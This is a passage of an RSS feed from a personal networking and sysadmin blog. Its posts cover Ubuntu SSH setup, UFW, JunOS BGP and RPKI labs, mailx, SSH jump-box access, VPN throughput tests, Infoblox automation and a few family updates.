      <description>&lt;p&gt;This is a neat feature.  During a Ubuntu 20.04.x installation the initial user can automatically retrieve &lt;code&gt;ssh&lt;/code&gt; keys from GitHub:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/githubsshkeyget.png&#34; alt=&#34;automatic ssh key retreival&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right after installation, &lt;code&gt;ssh&lt;/code&gt; key authentication works as expected:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ ssh 192.168.86.32&#xA;The authenticity of host &amp;#39;192.168.86.32 (192.168.86.32)&amp;#39; can&amp;#39;t be established.&#xA;ECDSA key fingerprint is SHA256:zd7aT9GlQV2qsONFr2fKrx86ULQvBicSKBo2mrnUnm8.&#xA;Are you sure you want to continue connecting (yes/no/[fingerprint])? yes&#xA;Warning: Permanently added &amp;#39;192.168.86.32&amp;#39; (ECDSA) to the list of known hosts.&#xA;Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-51-generic x86_64)&#xA;&#xA; * Documentation:  https://help.ubuntu.com&#xA; * Management:     https://landscape.canonical.com&#xA; * Support:        https://ubuntu.com/advantage&#xA;&#xA;  System information as of Wed Oct 14 20:15:43 UTC 2020&#xA;&#xA;  System load:             0.93&#xA;  Usage of /:              25.1% of 23.99GB&#xA;  Memory usage:            1%&#xA;  Swap usage:              0%&#xA;  Processes:               270&#xA;  Users logged in:         0&#xA;  IPv4 address for ens160: 192.168.86.32&#xA;  IPv6 address for ens160: 2600:1700:1391:411f:20c:29ff:fe28:bb6e&#xA;&#xA;&#xA;53 updates can be installed immediately.&#xA;0 of these updates are security updates.&#xA;To see these additional updates run: apt list --upgradable&#xA;&#xA;&#xA;Last login: Wed Oct 14 20:15:19 2020&#xA;To run a command as administrator (user &amp;#34;root&amp;#34;), use &amp;#34;sudo &amp;lt;command&amp;gt;&amp;#34;.&#xA;See &amp;#34;man sudo_root&amp;#34; for details.&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;They also disabled password authentication by default:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Enable firewalling services with UFW on Ubuntu</title>
      <link>https://jasonmurray.org/posts/2020/enableufw/</link>
      <pubDate>Wed, 14 Oct 2020 14:12:18 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/enableufw/</guid>
      <description>&lt;p&gt;By default the firewall is disabled on an Ubuntu server.  We can verify this by looking at the &lt;code&gt;iptables&lt;/code&gt; rules.  In this example, the default policy is set to &lt;code&gt;ACCEPT&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@home-server:~$ sudo iptables --list -nv&#xA;Chain INPUT (policy ACCEPT 7523K packets, 10G bytes)&#xA; pkts bytes target     prot opt in     out     source               destination&#xA;   69  2887 ACCEPT     udp  --  ens160 *       0.0.0.0/0            0.0.0.0/0            udp dpt:1194&#xA;    0     0 ACCEPT     all  --  tun0   *       0.0.0.0/0            0.0.0.0/0&#xA;&#xA;Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)&#xA; pkts bytes target     prot opt in     out     source               destination&#xA;    0     0 ACCEPT     all  --  tun0   ens160  0.0.0.0/0            0.0.0.0/0&#xA;    0     0 ACCEPT     all  --  ens160 tun0    0.0.0.0/0            0.0.0.0/0&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To keep firewall management simple, &lt;code&gt;ufw&lt;/code&gt; is used to manage the firewall.  We can verify again, there is no firewall running by default:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Calculations from the command-line with bc</title>
      <link>https://jasonmurray.org/posts/2020/clicalc/</link>
      <pubDate>Tue, 13 Oct 2020 16:33:52 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/clicalc/</guid>
      <description>&lt;p&gt;&lt;code&gt;bc&lt;/code&gt; is a calculator language, it can solve complex arithmetic problems or&amp;hellip;.&lt;/p&gt;&#xA;&lt;p&gt;perform basic calculator operations when I need it:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ echo 2+2 | bc&#xA;4&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Automatic AS prepending with BGP communities on JunOS</title>
      <link>https://jasonmurray.org/posts/2020/asprepend/</link>
      <pubDate>Mon, 12 Oct 2020 10:11:07 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/asprepend/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;The purpose of this lab is to show how Juniper policy-options can be used to automatically increase AS path length based on community tags attached to routes sent over BGP.&lt;/p&gt;&#xA;&lt;p&gt;BGP AS path length is one option commonly used to determine the best path to a route on the Internet.  The AS path length can also be used to influence how traffic is returned when a specific path is required.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Configuring RPKI on Juniper vMX with the Fort validation server</title>
      <link>https://jasonmurray.org/posts/2020/rpkifort/</link>
      <pubDate>Sun, 11 Oct 2020 06:15:18 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/rpkifort/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;In the simplest terms, RPKI helps to solve the problem of trust within routing exchange points.  As Internet routers exchange routes through BGP, there is an inherent level of trust that each member will only announce networks they have the authority over.   In practice, this works pretty well.  There have been a few high profile network hijacking incidents in recent years, but good customer validation and filtering practices limit these occurrences.  Diligent use of LoA&amp;rsquo;s and IRR databases help to ensure network operators or people with malicious intent are kept at bay.  RPKI enhances these tools by allowing network owners to cryptographically sign individual network routes.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Organizing applications and workflows with virtual desktops</title>
      <link>https://jasonmurray.org/posts/2020/desktoporganization/</link>
      <pubDate>Sat, 10 Oct 2020 14:21:35 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/desktoporganization/</guid>
      <description>&lt;p&gt;Throughout the day, my typical work flow revolves around these major areas:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Work communication and task management (webmail and calendar)&lt;/li&gt;&#xA;&lt;li&gt;Personal communication and task management (webmail and calendar)&lt;/li&gt;&#xA;&lt;li&gt;Web browsing (work and personal)&lt;/li&gt;&#xA;&lt;li&gt;Terminal (console applications and remote access)&lt;/li&gt;&#xA;&lt;li&gt;Virtual communication (text and video)&lt;/li&gt;&#xA;&lt;li&gt;Note taking&lt;/li&gt;&#xA;&lt;li&gt;Coding, documentation, and blogging&lt;/li&gt;&#xA;&lt;li&gt;Other&amp;hellip;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;My daily driver computer is a MacBook Pro.  This setup allows me to move between offices, meetings, and remote work locations without having to switch between devices.  The downside of a laptop is the single 15&amp;quot; screen.  Desktop space is at a premium.  It is not uncommon for me to have 20+ applications open at one time.  Organizing the desktop and switching between tasks becomes unwieldy as the application count increases.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Sending email on RedHat 7 with mailx</title>
      <link>https://jasonmurray.org/posts/2020/redhatmailx/</link>
      <pubDate>Fri, 09 Oct 2020 13:41:34 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/redhatmailx/</guid>
      <description>&lt;p&gt;To send email from a RedHat 7 server with no email server configured:&lt;/p&gt;&#xA;&lt;p&gt;Install &lt;code&gt;mailx&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo yum install mailx&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When there is no email server configured, the &lt;code&gt;mailx&lt;/code&gt; command will need to utilize a relay server with the &lt;code&gt;-S&lt;/code&gt; option:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mailx -s &amp;#34;Test Email&amp;#34; -S smtp=smtp://mail.example.com jemurray@example.com&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Full example:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ echo &amp;#34;This is my test message&amp;#34; | mailx -v -s &amp;#34;Test Email&amp;#34; -S smtp=smtp://mail.example.com jemurray@example.com&#xA;Resolving host mail.example.com . . . done.&#xA;Connecting to 192.168.112.54:smtp . . . connected.&#xA;220 smtp5.mx.example.com ESMTP&#xA;&amp;gt;&amp;gt;&amp;gt; HELO RedHatHost.example.com&#xA;250 smtp5.mx.example.com&#xA;&amp;gt;&amp;gt;&amp;gt; MAIL FROM:&amp;lt;jemurray@RedHatHost.example.com&amp;gt;&#xA;250 sender &amp;lt;jemurray@RedHatHost.example.com&amp;gt; ok&#xA;&amp;gt;&amp;gt;&amp;gt; RCPT TO:&amp;lt;jemurray@example.com&amp;gt;&#xA;250 recipient &amp;lt;jemurray@example.com&amp;gt; ok&#xA;&amp;gt;&amp;gt;&amp;gt; DATA&#xA;354 go ahead&#xA;&amp;gt;&amp;gt;&amp;gt; .&#xA;250 ok:  Message 21861950 accepted&#xA;&amp;gt;&amp;gt;&amp;gt; QUIT&#xA;221 smtp5.mx.example.com&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Erasing JunOS configuration</title>
      <link>https://jasonmurray.org/posts/2020/zeroize/</link>
      <pubDate>Thu, 08 Oct 2020 10:36:05 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/zeroize/</guid>
      <description>&lt;p&gt;To factory clear or erase the entire configuration on a JunOS device, use the &lt;code&gt;request system zeroize&lt;/code&gt; command:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;root@srx-lab&amp;gt; request system zeroize&#xA;warning: System will be rebooted and may not boot without configuration&#xA;Erase all data, including configuration and log files? [yes,no] (no) yes&#xA;&#xA;warning: zeroizing re0&#xA;&#xA;root@srx-lab&amp;gt; Waiting (max 60 seconds) for system process `vnlru&amp;#39; to stop...done&#xA;Waiting (max 60 seconds) for system process `vnlru_mem&amp;#39; to stop...done&#xA;Waiting (max 60 seconds) for system process `bufdaemon&amp;#39; to stop...done&#xA;Waiting (max 60 seconds) for system process `syncer&amp;#39; to stop...&#xA;Syncing disks, vnodes remaining...0 0 0 done&#xA;&#xA;syncing disks... All buffers synced.&#xA;Uptime: 8m11s&#xA;Rebooting...&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Provisioning BGP filters with bgpq3</title>
      <link>https://jasonmurray.org/posts/2020/bgpq3/</link>
      <pubDate>Wed, 07 Oct 2020 12:56:14 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/bgpq3/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;This week, we learned how to create &lt;a href=&#34;https://jasonmurray.org/posts/2020/juniperbgpimportfilter/&#34;&gt;BGP prefix filter lists&lt;/a&gt;.  Today we discuss tools to aid in the creation of prefix-lists using publicly available information from the IRR database &lt;a href=&#34;https://www.radb.net/&#34;&gt;RADb&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;These tools are geared more towards service providers, but is worth understanding the techniques and filtering mechanisms providers use to prevent network hijacking in the global routing table.&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;&lt;code&gt;bgpq3&lt;/code&gt; queries the RADb IRR and returns routes as documented by the ASN / network owners.  In this example, Washington University in St. Louis publishes the prefixes they announce in an IRR.  By using &lt;code&gt;bgpq3&lt;/code&gt; this information is automatically gathered and presented in a format that can be pasted directly into the native router filtering language:&lt;/p&gt;</description>
    </item>
    <item>
      <title>BGP prefix filtering on a Juniper vMX within logical systems</title>
      <link>https://jasonmurray.org/posts/2020/juniperbgpimportfilter/</link>
      <pubDate>Tue, 06 Oct 2020 11:53:18 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/juniperbgpimportfilter/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Expanding on yesterday&amp;rsquo;s &lt;a href=&#34;https://jasonmurray.org/posts/2020/basicbgpjuniperlogicalsystems/&#34;&gt;BGP Peering&lt;/a&gt; configuration.  Today we enable basic BGP prefix filtering.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/juniperbgproutefiltering.png&#34; alt=&#34;juniper bgp route filtering&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Exchanging routes on the Internet through BGP requires a fair bit of trust in the downstream organization to only send routes they are authoritative for.  Without proper filtering, anyone could announce Googles 8.8.8.0/24 route and potentially redirect this critical &lt;a href=&#34;https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/&#34;&gt;DNS traffic back to a rogue location&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For a service provider, it is critical to deny all inbound prefixes and only allow those which are properly authorized to do so.  Proper &lt;a href=&#34;https://blog.apnic.net/2014/10/15/the-good-practice-of-legitimacy-of-address-loa-checks/&#34;&gt;LoAs&lt;/a&gt; and &lt;a href=&#34;https://www.radb.net/&#34;&gt;routing registries&lt;/a&gt; are necessary to validate subnet ownerships.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Basic BGP configuration with Juniper logical systems</title>
      <link>https://jasonmurray.org/posts/2020/basicbgpjuniperlogicalsystems/</link>
      <pubDate>Mon, 05 Oct 2020 16:30:52 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/basicbgpjuniperlogicalsystems/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;In this example, we provide the basic configuration for two Juniper vMX logical systems to exchange 6 eBGP routes with each other.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/juniper-ls-bgp-basics-net-diag.png&#34; alt=&#34;BGP Network Topology&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Each major area of configuration is detailed with inline comments (#).&lt;/p&gt;&#xA;&lt;h1 id=&#34;the-configuration&#34;&gt;The Configuration&lt;/h1&gt;&#xA;&lt;p&gt;Create the logical systems point-to-point interfaces:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Logical System 1&#xA;# Each interface in a logical system needs a unique unit ID&#xA;set logical-systems LogicalSystem-1 interfaces lt-0/0/0 unit 101 description &amp;#34;LogicalSystem-2 P2P Interface&amp;#34;&#xA;set logical-systems LogicalSystem-1 interfaces lt-0/0/0 unit 101 encapsulation ethernet&#xA;# The unit ID is used to connect the logical tunnel interfaces&#xA;set logical-systems LogicalSystem-1 interfaces lt-0/0/0 unit 101 peer-unit 201&#xA;# A /31 is used to conserve IP space (yes, you can use .0 as a valid interface)&#xA;set logical-systems LogicalSystem-1 interfaces lt-0/0/0 unit 101 family inet address 192.168.99.0/31&#xA;&#xA;# Logical System 2&#xA;set logical-systems LogicalSystem-2 interfaces lt-0/0/0 unit 201 description &amp;#34;LogicalSystem-1 P2P Interface&amp;#34;&#xA;set logical-systems LogicalSystem-2 interfaces lt-0/0/0 unit 201 encapsulation ethernet&#xA;set logical-systems LogicalSystem-2 interfaces lt-0/0/0 unit 201 peer-unit 101&#xA;set logical-systems LogicalSystem-2 interfaces lt-0/0/0 unit 201 family inet address 192.168.99.1/31&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Create basic BGP peering:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Creating logical tunnels within logical systems on JunOS</title>
      <link>https://jasonmurray.org/posts/2020/juniperlogicalsysping/</link>
      <pubDate>Sun, 04 Oct 2020 16:32:54 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/juniperlogicalsysping/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;Logical systems are a feature within the JunOS operating system to create &lt;code&gt;virtual routers&lt;/code&gt; within a single physical platform.  Virtualizing the routing platform allows users to maximize resources, separate work loads, or partition services without needing to purchase and install physically separate hardware.&lt;/p&gt;&#xA;&lt;p&gt;A virtual router has limited use if not connected to other routers. To connect multiple logical systems, there are two main options:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Connect each instance with physical interfaces and cables.  (Note: On Cisco&amp;rsquo;s VDCs this is the only option).&lt;/li&gt;&#xA;&lt;li&gt;Create logical tunnels which act as virtual interfaces between logical systems.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;Create the logical systems and interfaces.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using SSH as a proxy to servers on the internal network</title>
      <link>https://jasonmurray.org/posts/2020/sshlocalproxy/</link>
      <pubDate>Sat, 03 Oct 2020 16:10:46 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/sshlocalproxy/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;To access servers on my internal home network from remote locations I use the port-forwarding capabilities of the service provider router (AT&amp;amp;T Router) and an internal SSH jumpbox (Ubuntu Server).  This combination allows me to access any internal systems without the need for a VPN or third-party connection brokerage service.&lt;/p&gt;&#xA;&lt;p&gt;The network is configured as follows:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/homenetportforward.png&#34; alt=&#34;home network port forwarding&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;On the AT&amp;amp;T router, setup port-forwarding:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;home-server 00:0c:29?49:db:fc 192.168.86.5 22 -&amp;gt; 22 (TCP)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I use a dynamic DNS service to keep track of the IP address provided to my home router.  The DNS name &lt;code&gt;murray-home.ddns.net&lt;/code&gt; is automatically updated if it changes.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Search and replace with sed</title>
      <link>https://jasonmurray.org/posts/2020/sedreplace/</link>
      <pubDate>Fri, 02 Oct 2020 18:22:00 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/sedreplace/</guid>
      <description>&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ echo &amp;#34;This is a test&amp;#34; | sed -e &amp;#39;s/a test/how you search and replace with sed./g&amp;#39;&#xA;&#xA;This is how you search and replace with sed.&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Allison Turned 17 Today</title>
      <link>https://jasonmurray.org/posts/2020/allison17/</link>
      <pubDate>Thu, 01 Oct 2020 19:19:34 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/allison17/</guid>
      <description>&lt;p&gt;Seventeen years ago two newly minted parents strapped this little kid into a car seat and drove home.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/allison2daysold.jpg&#34; alt=&#34;allison 2 days old&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Happy birthday Allison!  You have grown up to be a kind, intelligent, compassionate, and caring person.   I am proud to be your dad.  I look forward to watching you change the world.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/allison17.jpg&#34; alt=&#34;allison turned 17&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Cat hole cable run...</title>
      <link>https://jasonmurray.org/posts/2020/cablerun/</link>
      <pubDate>Wed, 30 Sep 2020 19:35:38 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/cablerun/</guid>
      <description>&lt;p&gt;In order to gather consistent results while performing speed tests this afternoon, I needed a 1Gb/s link upstairs.  Wireless would not do for these tests.&lt;/p&gt;&#xA;&lt;p&gt;Luckily there is a cat hole in the wall:&#xA;&lt;img src=&#34;https://jasonmurray.org/images/IMG_0984.jpg&#34; alt=&#34;1g cable run&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Down the basement stairs:&#xA;&lt;img src=&#34;https://jasonmurray.org/images/IMG_0985.jpg&#34; alt=&#34;1g cable run&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hanging in the air to the router in the rack.  Don&amp;rsquo;t worry, I tied the cable in a knot around the rack.  This way if someone tripped over the wire while walking down the stairs it won&amp;rsquo;t knock the router off the top shelf:&#xA;&lt;img src=&#34;https://jasonmurray.org/images/IMG_0986.jpg&#34; alt=&#34;1g cable run&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Cisco AnyConnect 4.x 200Mb/s max throughput</title>
      <link>https://jasonmurray.org/posts/2020/200mbanyconnect/</link>
      <pubDate>Tue, 29 Sep 2020 15:37:31 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/200mbanyconnect/</guid>
      <description>&lt;p&gt;Last week I upgraded to the ATT 1G fiber service.  This gave me a chance to retest the Cisco AnyConnect client VPN beyond the 100Mb/s cable modem previously in use.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AnyConnect client: 4.8.x and 4.9.02028&lt;/li&gt;&#xA;&lt;li&gt;Cisco ASA: 9.12(3)12&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Cisco has another bug that limits the AnyConnect VPN client to ~200Mb/s:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ iperf3 -c 128.252.5.113 -i 1 -t 10&#xA;Connecting to host 128.252.5.113, port 5201&#xA;[  5] local 10.227.227.25 port 61227 connected to 128.252.5.113 port 5201&#xA;[ ID] Interval           Transfer     Bitrate&#xA;[  5]   0.00-1.00   sec  13.7 MBytes   115 Mbits/sec&#xA;[  5]   1.00-2.00   sec  16.4 MBytes   137 Mbits/sec&#xA;[  5]   2.00-3.00   sec  14.5 MBytes   122 Mbits/sec&#xA;[  5]   3.00-4.00   sec  21.8 MBytes   183 Mbits/sec&#xA;[  5]   4.00-5.00   sec  21.2 MBytes   178 Mbits/sec&#xA;[  5]   5.00-6.00   sec  20.8 MBytes   174 Mbits/sec&#xA;[  5]   6.00-7.00   sec  19.4 MBytes   163 Mbits/sec&#xA;[  5]   7.00-8.00   sec  21.7 MBytes   182 Mbits/sec&#xA;[  5]   8.00-9.00   sec  17.2 MBytes   144 Mbits/sec&#xA;[  5]   9.00-10.00  sec  19.2 MBytes   161 Mbits/sec&#xA;- - - - - - - - - - - - - - - - - - - - - - - - -&#xA;[ ID] Interval           Transfer     Bitrate&#xA;[  5]   0.00-10.00  sec   186 MBytes   156 Mbits/sec                  sender&#xA;[  5]   0.00-10.02  sec   185 MBytes   155 Mbits/sec                  receiver&#xA;&#xA;&#xA;jemurray@mbp-2019:~ $ iperf3 -c 128.252.5.113 -i 1 -t 10 -R&#xA;Connecting to host 128.252.5.113, port 5201&#xA;Reverse mode, remote host 128.252.5.113 is sending&#xA;[  5] local 10.227.227.25 port 61248 connected to 128.252.5.113 port 5201&#xA;[ ID] Interval           Transfer     Bitrate&#xA;[  5]   0.00-1.00   sec  23.0 MBytes   193 Mbits/sec&#xA;[  5]   1.00-2.00   sec  28.0 MBytes   235 Mbits/sec&#xA;[  5]   2.00-3.00   sec  27.9 MBytes   234 Mbits/sec&#xA;[  5]   3.00-4.00   sec  23.0 MBytes   193 Mbits/sec&#xA;[  5]   4.00-5.00   sec  25.6 MBytes   215 Mbits/sec&#xA;[  5]   5.00-6.00   sec  26.2 MBytes   220 Mbits/sec&#xA;[  5]   6.00-7.00   sec  25.9 MBytes   217 Mbits/sec&#xA;[  5]   7.00-8.00   sec  25.7 MBytes   216 Mbits/sec&#xA;[  5]   8.00-9.00   sec  25.3 MBytes   212 Mbits/sec&#xA;[  5]   9.00-10.00  sec  26.0 MBytes   218 Mbits/sec&#xA;- - - - - - - - - - - - - - - - - - - - - - - - -&#xA;[ ID] Interval           Transfer     Bitrate         Retr&#xA;[  5]   0.00-10.02  sec   263 MBytes   220 Mbits/sec  131             sender&#xA;[  5]   0.00-10.00  sec   257 MBytes   215 Mbits/sec                  receiver&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The bug report is documented here:&lt;/p&gt;</description>
    </item>
    <item>
      <title>The many queries of whois</title>
      <link>https://jasonmurray.org/posts/2020/whois/</link>
      <pubDate>Mon, 28 Sep 2020 15:36:55 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/whois/</guid>
      <description>&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;&#xA;&lt;p&gt;The &lt;code&gt;whois&lt;/code&gt; command can return more than domain name information.   Abuse contacts, subnet owners, ISP peerings, ASN mappings, are some of the databases &lt;code&gt;whois&lt;/code&gt; can query.&lt;/p&gt;&#xA;&lt;p&gt;Depending on specific software and version, the &lt;code&gt;whois&lt;/code&gt; command may automatically determine the type of information requested.   On macOS, looking up subnet owner, ASN, or domain name does not require any special options.   For clients that do not support this feature, the &lt;code&gt;-h &amp;lt;server&amp;gt;&lt;/code&gt; option must be specified.&lt;/p&gt;</description>
    </item>
    <item>
      <title>A few MacBook features that don&#39;t get enough credit</title>
      <link>https://jasonmurray.org/posts/2020/apple3fav/</link>
      <pubDate>Sun, 27 Sep 2020 13:45:22 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/apple3fav/</guid>
      <description>&lt;h1 id=&#34;time-machine&#34;&gt;Time Machine&lt;/h1&gt;&#xA;&lt;p&gt;A backup system must be simple, reliable, and hands off.  A system that requires to much care-and-feeding, will be forgotten about until it is too late.  Time Machine is a set-it-once-and-never-touch-it-again-until-you-need-it.  Attach a large enough external USB drive, answer a few questions, and Apple will take care of the rest.   Leave the drive plugged in and the system will take hourly backups.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/timemachine.png&#34; alt=&#34;time machine&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;My backup drives sit behind the laptop.  Out of sight out of mind.  It just works.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Bulk adding Infoblox host records with the infoblox_client library</title>
      <link>https://jasonmurray.org/posts/2020/infobloxclient/</link>
      <pubDate>Sat, 26 Sep 2020 22:54:21 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/infobloxclient/</guid>
      <description>&lt;p&gt;In the technology field there are many different ways to solve a problem.  &lt;a href=&#34;https://jasonmurray.org/posts/2020/ansibleinfobloxaddhostrecord/&#34;&gt;Yesterday&lt;/a&gt;, I wrote about switching from &lt;code&gt;ibcli&lt;/code&gt; to &lt;code&gt;ansible&lt;/code&gt; to perform mass updates of host records in Infoblox.&lt;/p&gt;&#xA;&lt;p&gt;Today, I will solve the same problem using Python instead of Ansible.  Choosing the right tool for the job can be a daunting task.  Having a broad set of experiences and skills will make the selection process easier.&lt;/p&gt;&#xA;&lt;p&gt;The Python script to bulk add Host records in Infoblox:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Adding host records to Infoblox with Ansible</title>
      <link>https://jasonmurray.org/posts/2020/ansibleinfobloxaddhostrecord/</link>
      <pubDate>Fri, 25 Sep 2020 13:28:48 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/ansibleinfobloxaddhostrecord/</guid>
      <description>&lt;p&gt;Entering tens or hundreds of DNS entries in Infoblox from the GUI is a slow process.  Previously, I used the &lt;a href=&#34;https://github.com/slchorne/ibcli&#34;&gt;IBCLI&lt;/a&gt; which is showing its age.  I am concerned future updates may make it obsolete at some point.&lt;/p&gt;&#xA;&lt;p&gt;A more modern approach is a configuration tool like Ansible or the restAPI.&lt;/p&gt;&#xA;&lt;p&gt;The following playbook has an array of key/value pairs which contain hostname and IP information for the &lt;code&gt;host_record&lt;/code&gt; task.  It is much easier to update a text file with the basic key/value pairs then clicking several times for each host record in the GUI.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Convert HEIC to JPG from the commandline</title>
      <link>https://jasonmurray.org/posts/2020/convertheic/</link>
      <pubDate>Thu, 24 Sep 2020 06:13:08 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/convertheic/</guid>
      <description>&lt;p&gt;By default pictures taken from an iPhone are stored in HEIC format.  I find that most of the systems I interact with do not support HEIC.  Converting a large number of photos is tedious with the traditional GUI applications.&lt;/p&gt;&#xA;&lt;p&gt;ImageMagick has the &lt;code&gt;mogrify&lt;/code&gt; command line tool to quickly batch convert any number of files with a single command.  ImageMagick is not installed by default.  Use brew to install if necessary: &lt;code&gt;brew install imagemagick&lt;/code&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>AT&amp;T residential fiber service - 1G FTTH</title>
      <link>https://jasonmurray.org/posts/2020/attfiber/</link>
      <pubDate>Wed, 23 Sep 2020 17:16:25 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/attfiber/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;AT&amp;amp;T 1G fiber service was installed at the house today.  The fiber service was pulled into our neighborhood about 2 years ago.  I put off switching because of the cost at first, then it was the hassle of switching services.  Now that the entire family is either working or doing online schooling from home, it was time to upgrade.   The 100 down / 7 up Spectrum service is no longer adequate.&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to fix Microsoft Teams poor audio and video over VPN</title>
